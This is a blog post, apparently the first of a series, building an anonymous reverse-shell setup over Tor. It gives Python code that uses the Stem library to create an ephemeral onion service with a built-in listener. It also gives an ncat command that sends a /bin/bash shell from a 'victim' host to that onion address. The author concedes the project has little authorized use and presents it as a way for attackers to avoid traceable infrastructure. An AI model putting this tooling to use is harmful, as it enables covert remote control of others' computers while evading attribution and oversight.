AliumTerm: Reverse Shells over Tor, Part 1. Basics.

Before I begin, this project (which will unfold over a few blog posts) probably has no real application to “authorized intrusion activities” (red teaming, penetration testing, etc), and its release has largely been motivated by a desire to show how various problems were identified and overcome along the way. Kind of a “showing the work”. I also know that the techniques I’m going to discuss are already in use in the wild, so the “harm” in releasing a proof of concept is pretty low. You are free to disagree.

When reading this series, please be aware that there will be a lot of small detours taken, here and there. I’ve been basically trying to fully document the “engineering process”. There may be significant redundancy, the odd “dead end”, etc.

When hacking, one of the most annoying problems is having to find somewhere to run your listeners to catch reverse shells. You probably don’t want to run your listener on infrastructure attributable to yourself, you may not have the budget to purchase throwaway boxes to use, and the idea of using compromised hosts to run your setup on can lead the obvious “chicken and egg” problem of “have to hack some stuff so I can hack some stuff”. I thought it would be fun to come up with a solution to this problem.

About the name: While this project currently only uses Tor (onion routing) to provide anonymity for the attackers infrastructure, I believe that at some point I will be able to extend this to also offer i2p (Garlic routing) as an option. Quite a lot of this was inspired by this article on using Empire and Tor for “opsec safe” attack infrastructure.

Ok, now lets talk about what our requirements are for this… We will keep them fairly simple.

  1. Attackers infrastructure on a Tor hidden service, no exposure to the normal internet.
  2. Implanted computer should not need Tor installed (we will get to this in a later post).
  3. End to End Encryption of command and control channel.
  4. Implant should provide a fully functional PTY shell, with job control, and all that goodness.
  5. Should not require the attacker to have any real infrastructure besides whatever computer they are using.
  6. Whole setup should be ephemeral, and “go away” after use.

I figured the best place to start, would be to work out how to set up an ephemeral Tor hidden service from a script, that self-destructs when shut down, and have it handle a simple connect back (reverse) shell, fulfilling requirements 1, 5, and 6. The other requirements will be handled in future blog posts.

We begin by installing tor, and reading over the Stem library documentation. Of particular interest will be the initial setup for Stem. All of this work was performed on a Linux host (Ubuntu) using Python 2.7. Yes, sue me. I’m a dinosaur.

Our next step is to read the docs on creating a hidden service, with which we can write the following (very simple) program, which I have provided below. This simple program will set up a Tor hidden service that points to a listening port on our machine.

from stem.control import Controller

print(' * Connecting to tor')

with Controller.from_port() as controller:
  controller.authenticate("my_password") # my_password is example
  response = controller.create_ephemeral_hidden_service({80: 5000}, await_publication = True)
  print(" * Our service is available at %s.onion:80, pointing to localhost:5000" % response.service_id)
  try:
    raw_input(" ! hit enter, or ^C to quit")
  finally:
    print(" * Shutting down our hidden service")

When we run this code, it spins up an ephemeral hidden service, and you should get output like the below.

Our onion service redirection running…

Now, if we set up a listener on port 5000, we should be able to send a reverse shell to it over Tor. For simplicity, we will use ncat for this, as ncat is proxy-aware, using the below commands.

# on the host with the onion service running, we run the following to spin up a listener...
ncat -lvp 5000

# on another host with tor installed, or even our own host, we run the following...
ncat --proxy 127.0.0.1:9050 --proxy-type socks5 -e /bin/bash WHATEVER.onion 80

We should see a connection in our listener pretty quickly after running the second command.

we get shell

So now we are able to catch basic shells over Tor, however we need ncat and Tor to be installed on the “victim” host, and having to spin up a listener in another terminal is a bit janky. So we decide to integrate a basic listener into our script, using sockets and telnetlib. Nothing fancy, still no job control, but its a start.

from stem.control import Controller
import socket
import telnetlib

def listener(port):
    print " + listening on port %d" % port
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("127.0.0.1", port))
    s.listen(1)
    conn, addr = s.accept()
    print  " ! got a connection"
    t.sock = conn
    t.interact()

print(' * Connecting to tor')
with Controller.from_port() as controller:
  controller.authenticate("my_password")
  response = controller.create_ephemeral_hidden_service({80: 5000}, await_publication = True)
  print(" * Our service is available at %s.onion, press ctrl+c to quit" % response.service_id)
  try:
    listener(port=5000)
  finally:
    print(" * Shutting down our hidden service")

Now when we run this, it will wait for a shell to connect to it. We can again use the “ncat” command to send a shell to it, with our new hidden service address. We should see something like the following…

Got shell…

Again, we get a backconnect. So far, so good.

However, we still have a bunch of outstanding problems to solve – job control (PTY), end to end encryption, removing the Tor dependency, and suchlike. We will tackle these issues in followup articles (i.e. next Wednesday, etc), so check back in then!

%d bloggers like this: